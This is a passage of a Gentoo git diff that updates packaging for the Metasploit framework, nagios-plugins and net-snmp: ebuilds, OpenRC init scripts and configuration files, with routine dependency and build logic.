--make-pidfile -- -f ${MSF_OPTS} - eend $? -} - -stop() { - ebegin "Stopping msfrpcd${VERSION}" - start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE} - eend $? -} diff --git a/net-analyzer/metasploit/files/msfrpcd-4.0-conf b/net-analyzer/metasploit/files/msfrpcd-4.11-conf index dc56a9d966..dc56a9d966 100644 --- a/net-analyzer/metasploit/files/msfrpcd-4.0-conf +++ b/net-analyzer/metasploit/files/msfrpcd-4.11-conf diff --git a/net-analyzer/metasploit/files/msfrpcd-4.3-initd b/net-analyzer/metasploit/files/msfrpcd-4.11-initd index 4880d501fa..2b8a4cdd47 100644 --- a/net-analyzer/metasploit/files/msfrpcd-4.3-initd +++ b/net-analyzer/metasploit/files/msfrpcd-4.11-initd @@ -3,7 +3,7 @@ # Distributed under the terms of the GNU General Public License v2 # $Id$ -VERSION=4.3 +VERSION=4.11 PIDFILE=/var/run/msfrpcd${VERSION}.pid start() { diff --git a/net-analyzer/metasploit/files/msfrpcd-4.2-conf b/net-analyzer/metasploit/files/msfrpcd-4.2-conf deleted file mode 100644 index dc56a9d966..0000000000 --- a/net-analyzer/metasploit/files/msfrpcd-4.2-conf +++ /dev/null @@ -1,25 +0,0 @@ -# Config file for /etc/init.d/msfrpcd - -# msfrpcd -h for more info - -# Bind to the following IP instead of 0.0.0.0 -MSF_OPTS="-a 127.0.0.1" - -# Bind to the following TCP port instead of default 55553 -#MSF_OPTS="${MSF_OPTS} -p 55553" - -# Specify the username to access msfrpcd -MSF_OPTS="${MSF_OPTS} -U msf" - -# Specify the password to access msfrpcd -MSF_OPTS="${MSF_OPTS} -P secret" - -# Server type, [Basic|Web] -#MSF_OPTS="${MSF_OPTS} -t Basic" - -# URI for Web server -#MSF_OPTS="${MSF_OPTS} -u " - -# Disable SSL on the XMLRPC socket -# JAVA GUI doesn't support SSL as of Nov 6, 2010 -MSF_OPTS="${MSF_OPTS} -S" diff --git a/net-analyzer/metasploit/files/msfrpcd-4.2-initd b/net-analyzer/metasploit/files/msfrpcd-4.2-initd deleted file mode 100644 index 91a373f343..0000000000 --- a/net-analyzer/metasploit/files/msfrpcd-4.2-initd +++ /dev/null @@ -1,22 +0,0 @@ -#!/sbin/runscript -# Copyright 1999-2012 Gentoo Foundation -# Distributed under the terms of the GNU General Public License v2 -# $Id$ - -VERSION=4.2 -PIDFILE=/var/run/msfrpcd${VERSION}.pid - -start() { - ebegin "Starting msfrpcd${VERSION}" - start-stop-daemon --start --quiet --background \ - --exec /usr/lib/metasploit${VERSION}/msfrpcd \ - --pidfile ${PIDFILE} \ - --make-pidfile -- -f ${MSF_OPTS} - eend $? -} - -stop() { - ebegin "Stopping msfrpcd${VERSION}" - start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE} - eend $? -} diff --git a/net-analyzer/metasploit/files/msfrpcd-4.3-conf b/net-analyzer/metasploit/files/msfrpcd-4.3-conf deleted file mode 100644 index dc56a9d966..0000000000 --- a/net-analyzer/metasploit/files/msfrpcd-4.3-conf +++ /dev/null @@ -1,25 +0,0 @@ -# Config file for /etc/init.d/msfrpcd - -# msfrpcd -h for more info - -# Bind to the following IP instead of 0.0.0.0 -MSF_OPTS="-a 127.0.0.1" - -# Bind to the following TCP port instead of default 55553 -#MSF_OPTS="${MSF_OPTS} -p 55553" - -# Specify the username to access msfrpcd -MSF_OPTS="${MSF_OPTS} -U msf" - -# Specify the password to access msfrpcd -MSF_OPTS="${MSF_OPTS} -P secret" - -# Server type, [Basic|Web] -#MSF_OPTS="${MSF_OPTS} -t Basic" - -# URI for Web server -#MSF_OPTS="${MSF_OPTS} -u " - -# Disable SSL on the XMLRPC socket -# JAVA GUI doesn't support SSL as of Nov 6, 2010 -MSF_OPTS="${MSF_OPTS} -S" diff --git a/net-analyzer/metasploit/files/msfrpcd-4.4-conf b/net-analyzer/metasploit/files/msfrpcd-4.4-conf deleted file mode 100644 index dc56a9d966..0000000000 --- a/net-analyzer/metasploit/files/msfrpcd-4.4-conf +++ /dev/null @@ -1,25 +0,0 @@ -# Config file for /etc/init.d/msfrpcd - -# msfrpcd -h for more info - -# Bind to the following IP instead of 0.0.0.0 -MSF_OPTS="-a 127.0.0.1" - -# Bind to the following TCP port instead of default 55553 -#MSF_OPTS="${MSF_OPTS} -p 55553" - -# Specify the username to access msfrpcd -MSF_OPTS="${MSF_OPTS} -U msf" - -# Specify the password to access msfrpcd -MSF_OPTS="${MSF_OPTS} -P secret" - -# Server type, [Basic|Web] -#MSF_OPTS="${MSF_OPTS} -t Basic" - -# URI for Web server -#MSF_OPTS="${MSF_OPTS} -u " - -# Disable SSL on the XMLRPC socket -# JAVA GUI doesn't support SSL as of Nov 6, 2010 -MSF_OPTS="${MSF_OPTS} -S" diff --git a/net-analyzer/metasploit/files/msfrpcd-4.4-initd b/net-analyzer/metasploit/files/msfrpcd-4.4-initd deleted file mode 100644 index 4880d501fa..0000000000 --- a/net-analyzer/metasploit/files/msfrpcd-4.4-initd +++ /dev/null @@ -1,22 +0,0 @@ -#!/sbin/runscript -# Copyright 1999-2012 Gentoo Foundation -# Distributed under the terms of the GNU General Public License v2 -# $Id$ - -VERSION=4.3 -PIDFILE=/var/run/msfrpcd${VERSION}.pid - -start() { - ebegin "Starting msfrpcd${VERSION}" - start-stop-daemon --start --quiet --background \ - --exec /usr/lib/metasploit${VERSION}/msfrpcd \ - --pidfile ${PIDFILE} \ - --make-pidfile -- -f ${MSF_OPTS} - eend $? -} - -stop() { - ebegin "Stopping msfrpcd${VERSION}" - start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE} - eend $? -} diff --git a/net-analyzer/metasploit/files/msfweb.confd b/net-analyzer/metasploit/files/msfweb.confd deleted file mode 100644 index 3e9fa64d9a..0000000000 --- a/net-analyzer/metasploit/files/msfweb.confd +++ /dev/null @@ -1,13 +0,0 @@ -# Config file for /etc/init.d/metasploit - -# Pidfile -PIDFILE=/var/run/msfweb.pid - -# Bind to the following IP instead of the loopback address -IPADDR=127.0.0.1 - -# Bind to the following TCP port instead of default 55555 -PORT=55555 - -# All options -MSF_OPTS="-a $IPADDR -p $PORT" diff --git a/net-analyzer/metasploit/files/msfweb.initd b/net-analyzer/metasploit/files/msfweb.initd deleted file mode 100644 index 0805d583dc..0000000000 --- a/net-analyzer/metasploit/files/msfweb.initd +++ /dev/null @@ -1,18 +0,0 @@ -#!/sbin/runscript -# Copyright 1999-2005 Gentoo Foundation -# Distributed under the terms of the GNU General Public License v2 -# $Id$ - -start() { - ebegin "Starting msfweb" - start-stop-daemon --start --quiet --background --exec /usr/bin/msfweb \ - --pidfile ${PIDFILE} --make-pidfile -- ${MSF_OPTS} - eend $? -} - -stop() { - ebegin "Stopping msfweb" - start-stop-daemon --stop --quiet --pidfile ${PIDFILE} - rm -f ${PIDFILE} - eend $? -} diff --git a/net-analyzer/metasploit/metasploit-2.7.ebuild b/net-analyzer/metasploit/metasploit-2.7.ebuild deleted file mode 100644 index ed11d9b3a3..0000000000 --- a/net-analyzer/metasploit/metasploit-2.7.ebuild +++ /dev/null @@ -1,48 +0,0 @@ -# Copyright 1999-2012 Gentoo Foundation -# Distributed under the terms of the GNU General Public License v2 -# $Id$ - -MY_P="${P/metasploit/framework}" -S="${WORKDIR}/${MY_P}" -DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code" -HOMEPAGE="http://www.metasploit.org/" -SRC_URI="http://metasploit.com/tools/${MY_P}.tar.gz" - -LICENSE="GPL-2 Artistic" -SLOT="0" -KEYWORDS="amd64 ppc x86" -IUSE="" - -RDEPEND="dev-lang/perl - dev-perl/Net-SSLeay - dev-perl/Term-ReadLine-Perl - dev-perl/TermReadKey" - -src_install() { - dodir /usr/lib/ - dodir /usr/bin/ - - # should be as simple as copying everything into the target... - cp -pPR "${S}" "${D}"usr/lib/metasploit || die - - # and creating symlinks in the /usr/bin dir - cd "${D}"/usr/bin - ln -s ../lib/metasploit/msf* ./ || die - chown -R root:0 "${D}" - - newinitd "${FILESDIR}"/msfweb.initd msfweb || die "newinitd failed" - newconfd "${FILESDIR}"/msfweb.confd msfweb || die "newconfd failed" -} - -pkg_postinst() { - elog "To update metasploit modules run:" - elog " # cd /usr/lib/metasploit && svn update" -} - -pkg_postrm() { - if [[ -d /usr/lib/metasploit ]] ; then - ewarn "If you ever updated modules emerge will keep /var/lib/metasploit" - ewarn "directory. Thus to remove metasploit completely do not forgive to:" - ewarn " # rm -r /usr/lib/metasploit" - fi -} diff --git a/net-analyzer/metasploit/metasploit-4.11.4_p2015090201.ebuild b/net-analyzer/metasploit/metasploit-4.11.4_p2015090201-r1.ebuild index fee815eb54..70f03b9d58 100644 --- a/net-analyzer/metasploit/metasploit-4.11.4_p2015090201.ebuild +++ b/net-analyzer/metasploit/metasploit-4.11.4_p2015090201-r1.ebuild @@ -54,7 +54,7 @@ RUBY_COMMON_DEPEND="virtual/ruby-ssl >=dev-ruby/metasploit-model-1.0.0:1.0 dev-ruby/msgpack dev-ruby/nokogiri - =dev-ruby/recog-2.0.6:2 + dev-ruby/recog:2.0.6 =dev-ruby/rkelly-remix-0.0.6 dev-ruby/sqlite3 >=dev-ruby/pg-0.11 diff --git a/net-analyzer/metasploit/metasploit-9999.ebuild b/net-analyzer/metasploit/metasploit-9999.ebuild new file mode 100644 index 0000000000..2c43b84a84 --- /dev/null +++ b/net-analyzer/metasploit/metasploit-9999.ebuild @@ -0,0 +1,298 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="5" + +#never ever ever have more than one ruby in here +USE_RUBY="ruby21" +inherit eutils ruby-ng + +if [[ ${PV} == "9999" ]] ; then + EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git" + EGIT_CHECKOUT_DIR="${WORKDIR}"/all + inherit git-r3 + KEYWORDS="" + SLOT="9999" +else + ##Tags https://github.com/rapid7/metasploit-framework/releases + ##Releases https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version + #SRC_URI="https://github.com/rapid7/metasploit-framework/archive/${PV}.tar.gz -> ${P}.tar.gz" + ##Snapshots + MY_PV=${PV/_p/-} + SRC_URI="https://github.com/rapid7/metasploit-framework/archive/${MY_PV}.tar.gz -> ${P}.tar.gz" + KEYWORDS="~amd64 ~arm ~x86" + RUBY_S="${PN}-framework-${MY_PV}" + inherit versionator + SLOT="$(get_version_component_range 1).$(get_version_component_range 2)" +fi + +DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code" +HOMEPAGE="http://www.metasploit.org/" +LICENSE="BSD" +IUSE="development +java oracle +pcap test" + +#multiple known bugs with tests reported upstream and ignored +#http://dev.metasploit.com/redmine/issues/8418 - worked around (fix user creation when possible) +RESTRICT="test" + +RUBY_COMMON_DEPEND="virtual/ruby-ssl + >=dev-ruby/activesupport-4.0.9:4.0 + >=dev-ruby/actionpack-4.0.9:4.0 + >=dev-ruby/activerecord-4.0.9:4.0 + dev-ruby/bcrypt-ruby + dev-ruby/builder:3 + dev-ruby/bundler + =dev-ruby/jsobfu-0.2* + dev-ruby/json + dev-ruby/kissfft + dev-ruby/metasm:1.0.2 + dev-ruby/metasploit_data_models:1.2.7 + dev-ruby/meterpreter_bins:0.0.22 + dev-ruby/metasploit-payloads:1.0.15 + dev-ruby/metasploit-credential:1.0.1 + >=dev-ruby/metasploit-concern-1.0.0:1.0 + >=dev-ruby/metasploit-model-1.0.0:1.0 + dev-ruby/msgpack + dev-ruby/nokogiri + dev-ruby/recog:2.0.14 + =dev-ruby/rkelly-remix-0.0.6 + dev-ruby/sqlite3 + >=dev-ruby/pg-0.11 + dev-ruby/packetfu:1.1.11 + >=dev-ruby/rubyzip-1.1 + dev-ruby/rb-readline-r7 + dev-ruby/robots + java? ( dev-ruby/rjb ) + oracle? ( dev-ruby/ruby-oci8 ) + pcap? ( dev-ruby/pcaprub:* + dev-ruby/network_interface ) + development? ( dev-ruby/fivemat + dev-ruby/pry + dev-ruby/redcarpet + dev-ruby/yard + >=dev-ruby/rake-10.0.0 + >=dev-ruby/factory_girl-4.1.0 )" + #lorcon doesn't support ruby21 + #lorcon? ( net-wireless/lorcon[ruby] ) +ruby_add_bdepend "${RUBY_COMMON_DEPEND} + test? ( >=dev-ruby/factory_girl-4.1.0 + dev-ruby/fivemat + dev-ruby/database_cleaner + >=dev-ruby/rspec-2.12 + dev-ruby/shoulda-matchers + dev-ruby/timecop + >=dev-ruby/rake-10.0.0 )" +ruby_add_rdepend "${RUBY_COMMON_DEPEND}" + +COMMON_DEPEND="dev-db/postgresql[server] + >=app-crypt/johntheripper-1.7.9-r1[-minimal] + net-analyzer/nmap" +RDEPEND+=" ${COMMON_DEPEND} + >=app-eselect/eselect-metasploit-0.16" + +RESTRICT="strip" + +QA_PREBUILT=" + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux_dll.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_bsd.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso + usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin + usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2014-3153.elf + usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/x86/libndkstager.so + usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/mips/libndkstager.so + usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/armeabi/libndkstager.so + " + +pkg_setup() { + if use test; then + su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail + su postgres -c "createuser msf_test_user -d -S -R" + if [ $? -ne 0 ]; then + su postgres -c "dropuser msf_test_user" || die + su postgres -c "createuser msf_test_user -d -S -R" || die + fi + su postgres -c "createdb --owner=msf_test_user msf_test_database" || die + fi + ruby-ng_pkg_setup +} + +all_ruby_unpack() { + if [[ ${PV} == "9999" ]] ; then + git-r3_src_unpack + else + default_src_unpack +# mv "${WORKDIR}"/all/msf3/* "${WORKDIR}"/all +# rm -r msf3 + #msf_version=$(grep --color=never "CURRENT_VERSION =" ${S}/spec/lib/msf/core/framework_spec.rb) + #msf_version=${msf_version#*=} + fi +} + +all_ruby_prepare() { + # add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs + #epatch "${FILESDIR}/agix_psexec_pull-2657.patch" + epatch_user + + #unbundle johntheripper, at least it now defaults to running the system version + rm -r data/john/run.* + rm -r data/john/src.tar.bz2 + #remove random "cpuinfo" binaries which a only needed to detect which bundled john to run + rm -r data/cpuinfo + + #remove random oudated collected garbage + rm -r external + + #remove unneeded ruby bundler versioning files + #Gemfile.lock contains the versions tested by the msf team but not the hard requirements + #we regen this file in each_ruby_prepare + rm Gemfile.lock + #The Gemfile contains real known deps + #add our dep on upstream rb-readline instead of bundled one + #and then they broke it... + #sed -i "/gem 'packetfu'/a #use upstream readline instead of bundled\ngem 'rb-readline'" Gemfile || die + sed -i "/gem 'fivemat'/s/, '1.2.1'//" Gemfile || die + #remove the bundled readline + #https://github.com/rapid7/metasploit-framework/pull/3105 + #this PR was closed due to numerous changes to their local fork, almost entirely for non-linux + #but now we have to go back to bundled readline because otherwise it's broken + #rm lib/rbreadline.rb + #now we edit the Gemfile based on use flags + #even if we pass --without=blah bundler still calculates the deps and messes us up + if ! use pcap; then + sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die + fi + if ! use development; then + sed -i -e "/^group :development do/,/^end$/d" Gemfile || die + fi + if ! use test; then + sed -i -e "/^group :test/,/^end$/d" Gemfile || die + fi + if ! use test && ! use development; then + sed -i -e "/^group :development/,/^end$/d" Gemfile || die + fi + #We don't need simplecov + sed -i -e "/^group :coverage/,/^end$/d" Gemfile || die + sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die + + #we need to edit the gemspec too, since it tries to call git instead of anything sane + #probably a better way to fix this... if I care at some point + sed -i -e "/^ spec.files/,/^ }/d" metasploit-framework.gemspec || die + + #let's bogart msfupdate + rm msfupdate + echo "#!/bin/sh" > msfupdate + echo "echo \"[*]\"" >> msfupdate + echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> msfupdate + echo "echo \"[*]\"" >> msfupdate + echo "echo \"\"" >> msfupdate + if [[ ${PV} == "9999" ]] ; then + echo "if [ -x /usr/bin/smart-live-rebuild ]; then" >> msfupdate + echo " smart-live-rebuild -f net-analyzer/metasploit" >> msfupdate + echo "else" >> msfupdate + echo " echo \"Please install app-portage/smart-live-rebuild for a better experience.\"" >> msfupdate + echo "emerge --oneshot \"=${CATEGORY}/${PF}\"" >> msfupdate + echo "fi" >> msfupdate + else + echo "echo \"Unable to update tagged version of metasploit.\"" >> msfupdate + echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> msfupdate + echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> msfupdate + fi + #this is set executable in src_install + + #install our database.yml file before tests are run + cp "${FILESDIR}"/database.yml config/ + +} + +each_ruby_prepare() { + MSF_ROOT="." BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle install --local || die + MSF_ROOT="." BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle check || die + + #force all metasploit executables to use desired ruby version + #https://dev.metasploit.com/redmine/issues/8357 + for file in $(ls -1 msf*) + do + #poorly adapted from python.eclass + sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2${RUBY}:" -i "${file}" || die "Conversion of shebang in '${file}' failed" + done +} + +each_ruby_test() { + #review dev-python/pymongo for ways to make the test compatible with FEATURES=network-sandbox + + #we bogart msfupdate so no point in trying to test it + rm spec/msfupdate_spec.rb || die + #we don't really want to be uploading to virustotal during the tests + rm spec/tools/virustotal_spec.rb || die + + # https://dev.metasploit.com/redmine/issues/8425 + BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:create || die + BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:migrate || die + + MSF_DATABASE_CONFIG=config/database.yml BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake || die + su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user" +} + +each_ruby_install() { + #Tests have already been run, we don't need this stuff + rm -r spec || die + rm -r test || die + rm Gemfile.lock || die + + #I'm 99% sure that this will only work for as long as we only support one ruby version. Creativity will be needed if we wish to support multiple. + # should be as simple as copying everything into the target... + dodir /usr/$(get_libdir)/${PN}${SLOT} + cp -R * "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed" + rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md + fowners -R root:0 / + +} + +all_ruby_install() { + # do not remove LICENSE, bug #238137 + dodir /usr/share/doc/${PF} + cp -R {documentation,README.md} "${ED}"/usr/share/doc/${PF} || die + dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation + + fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate + + #tell revdep-rebuild to ignore binaries meant for the target + dodir /etc/revdep-rebuild + cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-metasploit${SLOT} + #These dirs contain prebuilt binaries for running on the TARGET not the HOST + SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/meterpreter" + SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/exploits" + EOF +} + +pkg_postinst() { + elog "Before use you should run 'env-update' and '. /etc/profile'" + elog "otherwise you may be missing important environmental variables." + + elog "You need to prepare the database by running:" + elog "emerge --config postgresql" + elog "/etc/init.d/postgresql-<version> start" + elog "emerge --config =metasploit-${PV}" + + "${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT} + + einfo + elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary" +} + +pkg_config() { + einfo "If the following fails, it is likely because you forgot to start/config postgresql first" + su postgres -c "createuser msf_user -D -S -R" + su postgres -c "createdb --owner=msf_user msf_database" +} diff --git a/net-analyzer/nagios-plugins/nagios-plugins-2.1.1-r2.ebuild b/net-analyzer/nagios-plugins/nagios-plugins-2.1.1-r2.ebuild new file mode 100644 index 0000000000..5768949984 --- /dev/null +++ b/net-analyzer/nagios-plugins/nagios-plugins-2.1.1-r2.ebuild @@ -0,0 +1,102 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI=5 + +inherit eutils multilib user + +DESCRIPTION="Official plugins for Nagios" +HOMEPAGE="http://nagios-plugins.org/" +SRC_URI="http://nagios-plugins.org/download/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ppc ~ppc64 ~sparc ~x86" +IUSE="ipv6 ldap libressl mysql nagios-dns nagios-ping nagios-game postgres samba selinux snmp ssh +ssl" + +# Most of the plugins use automagic dependencies, i.e. the plugin will +# get built if the binary it uses is installed. For example, check_snmp +# will be built only if snmpget from net-analyzer/net-snmp[-minimal] is +# installed. End result: most of our runtime dependencies are required +# at build time as well. +# +# REAL_DEPEND contains the dependencies that are actually needed to +# build. DEPEND contains those plus the automagic dependencies. +# +REAL_DEPEND="dev-lang/perl + ldap? ( net-nds/openldap ) + mysql? ( virtual/mysql ) + postgres? ( dev-db/postgresql:* ) + ssl? ( + !libressl? ( dev-libs/openssl:0 ) + libressl? ( dev-libs/libressl ) + )" + +DEPEND="${REAL_DEPEND} + nagios-dns? ( net-dns/bind-tools ) + nagios-game? ( games-util/qstat ) + nagios-ping? ( net-analyzer/fping ) + samba? ( net-fs/samba ) + ssh? ( net-misc/openssh ) + snmp? ( dev-perl/Net-SNMP + net-analyzer/net-snmp[-minimal] )" + +# Basically everything collides with nagios-plugins. +RDEPEND="${DEPEND} + !net-analyzer/monitoring-plugins + selinux? ( sec-policy/selinux-nagios )" + +# At least one test is interactive. +RESTRICT="test" + +src_prepare() { + # Fix the path to our perl interpreter + sed -i -e "1s:/usr/local/bin/perl:/usr/bin/perl:" \ + "${S}"/plugins-scripts/*.pl || die +} + +src_configure() { + # Use an array to prevent econf from mangling the ping args. + local myconf=() + + if use ssl; then + myconf+=( $(use_with ssl openssl /usr) ) + else + myconf+=( --without-openssl ) + myconf+=( --without-gnutls ) + fi + + # The autodetection for these two commands can hang if localhost is + # down or ICMP traffic is filtered. Bug #468296. + myconf+=( --with-ping-command="/bin/ping -n -U -w %d -c %d %s" ) + + if use ipv6; then + myconf+=( --with-ping6-command="/bin/ping6 -n -U -w %d -c %d %s" ) + fi + + econf \ + $(use_with mysql) \ + $(use_with ipv6) \ + $(use_with ldap) \ + $(use_with postgres pgsql /usr) \ + "${myconf[@]}" \ + --libexecdir="/usr/$(get_libdir)/nagios/plugins" \ + --sysconfdir="/etc/nagios" +} + +DOCS=( ACKNOWLEDGEMENTS AUTHORS CODING ChangeLog FAQ \ + NEWS README REQUIREMENTS SUPPORT THANKS ) + +pkg_preinst() { + enewgroup nagios + enewuser nagios -1 /bin/bash /var/nagios/home nagios +} + +pkg_postinst() { + elog "This ebuild has a number of USE flags that determine what you" + elog "are able to monitor. Depending on what you want to monitor, some" + elog "or all of these USE flags need to be set." + elog + elog "The plugins are installed in ${ROOT}usr/$(get_libdir)/nagios/plugins" +} diff --git a/net-analyzer/net-snmp/net-snmp-5.7.3-r2.ebuild b/net-analyzer/net-snmp/net-snmp-5.7.3-r2.ebuild new file mode 100644 index 0000000000..3bdf6edf8f --- /dev/null +++ b/net-analyzer/net-snmp/net-snmp-5.7.3-r2.ebuild @@ -0,0 +1,183 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI=5 +PYTHON_COMPAT=( python2_7 ) +DISTUTILS_SINGLE_IMPL=yesplz +DISTUTILS_OPTIONAL=yesplz +WANT_AUTOMAKE=none +PATCHSET=2 +GENTOO_DEPEND_ON_PERL=no + +inherit autotools distutils-r1 eutils perl-module systemd + +DESCRIPTION="Software for generating and retrieving SNMP data" +HOMEPAGE="http://net-snmp.sourceforge.net/" +SRC_URI=" + mirror://sourceforge/project/${PN}/${PN}/${PV}/${P}.tar.gz + https://dev.gentoo.org/~jer/${PN}-5.7.3-patches-${PATCHSET}.tar.xz +" + +S=${WORKDIR}/${P/_/.} + +# GPL-2 for the init scripts +LICENSE="HPND BSD GPL-2" +SLOT="0" +KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86" +IUSE="bzip2 doc elf ipv6 libressl mfd-rewrites minimal perl python rpm selinux ssl tcpd X zlib lm_sensors ucd-compat pci netlink mysql" + +COMMON_DEPEND=" + ssl? ( + !libressl? ( >=dev-libs/openssl-0.9.6d:0 ) + libressl? ( dev-libs/libressl ) + ) + tcpd? ( >=sys-apps/tcp-wrappers-7.6 ) + rpm? ( + app-arch/rpm + dev-libs/popt + ) + bzip2? ( app-arch/bzip2 ) + zlib? ( >=sys-libs/zlib-1.1.4 ) + elf? ( dev-libs/elfutils ) + python? ( + dev-python/setuptools[${PYTHON_USEDEP}] + ${PYTHON_DEPS} + ) + pci? ( sys-apps/pciutils ) + lm_sensors? ( sys-apps/lm_sensors ) + netlink? ( dev-libs/libnl:3 ) + mysql? ( virtual/mysql ) + perl? ( dev-lang/perl:= ) +" +DEPEND=" + ${COMMON_DEPEND} + doc? ( app-doc/doxygen ) +" +RDEPEND=" + ${COMMON_DEPEND} + perl? ( + X? ( dev-perl/perl-tk ) + !minimal? ( dev-perl/TermReadKey ) + ) + selinux? ( sec-policy/selinux-snmp ) +" + +REQUIRED_USE=" + python? ( ${PYTHON_REQUIRED_USE} ) + rpm? ( bzip2 zlib ) +" + +RESTRICT=test + +pkg_setup() { + use python && python-single-r1_pkg_setup +} + +src_prepare() { + # snmpconf generates config files with proper selinux context + use selinux && epatch "${FILESDIR}"/${PN}-5.1.2-snmpconf-selinux.patch + + epatch "${WORKDIR}"/patches/*.patch + + epatch_user + + eautoconf +} + +src_configure() { + # keep this in the same line, configure.ac arguments are passed down to config.h + local mibs="host ucd-snmp/dlmod ucd-snmp/diskio ucd-snmp/extensible mibII/mta_sendmail smux etherlike-mib/dot3StatsTable" + use lm_sensors && mibs="${mibs} ucd-snmp/lmsensorsMib" + + econf \ + $(use_enable !ssl internal-md5) \ + $(use_enable ipv6) \ + $(use_enable mfd-rewrites) \ + $(use_enable perl embedded-perl) \ + $(use_enable ucd-compat ucd-snmp-compatibility) \ + $(use_with bzip2) \ + $(use_with elf) \ + $(use_with mysql) \ + $(use_with netlink nl) \ + $(use_with pci) \ + $(use_with perl perl-modules INSTALLDIRS=vendor) \ + $(use_with python python-modules) \ + $(use_with rpm) \ + $(use_with ssl openssl) \ + $(use_with tcpd libwrap) \ + $(use_with zlib) \ + --enable-shared --disable-static \ + --with-default-snmp-version="3" \ + --with-install-prefix="${D}" \ + --with-ldflags="${LDFLAGS}" \ + --with-logfile="/var/log/net-snmpd.log" \ + --with-mib-modules="${mibs}" \ + --with-persistent-directory="/var/lib/net-snmp" \ + --with-sys-contact="root@Unknown" \ + --with-sys-location="Unknown" +} + +src_compile() { + emake \ + OTHERLDFLAGS="${LDFLAGS}" \ + sedscript all + + use doc && emake docsdox +} + +src_install () { + # bug #317965 + emake -j1 DESTDIR="${D}" install + + if use perl ; then + perl_delete_localpod + if ! use X; then + rm "${D}"/usr/bin/tkmib || die + fi + else + rm -f \ + "${D}"/usr/bin/fixproc \ + "${D}"/usr/bin/ipf-mod.pl \ + "${D}"/usr/bin/mib2c \ + "${D}"/usr/bin/net-snmp-cert \ + "${D}"/usr/bin/snmp-bridge-mib \ + "${D}"/usr/bin/snmpcheck \ + "${D}"/usr/bin/snmpconf \ + "${D}"/usr/bin/tkmib \ + "${D}"/usr/bin/traptoemail \ + "${D}"/usr/share/snmp/mib2c.perl.conf \ + "${D}"/usr/share/snmp/snmp_perl_trapd.pl \ + || die + fi + + dodoc AGENT.txt ChangeLog FAQ INSTALL NEWS PORTING README* TODO + newdoc EXAMPLE.conf.def EXAMPLE.conf + + use doc && dohtml docs/html/* + + keepdir /var/lib/net-snmp + + newinitd "${FILESDIR}"/snmpd.init.2 snmpd + newconfd "${FILESDIR}"/snmpd.conf snmpd + + newinitd "${FILESDIR}"/snmptrapd.init.2 snmptrapd + newconfd "${FILESDIR}"/snmptrapd.conf snmptrapd + + systemd_dounit "${FILESDIR}"/snmpd.service + systemd_dounit "${FILESDIR}"/snmptrapd.service + + insinto /etc/snmp + newins "${S}"/EXAMPLE.conf snmpd.conf.example + + # Remove everything not 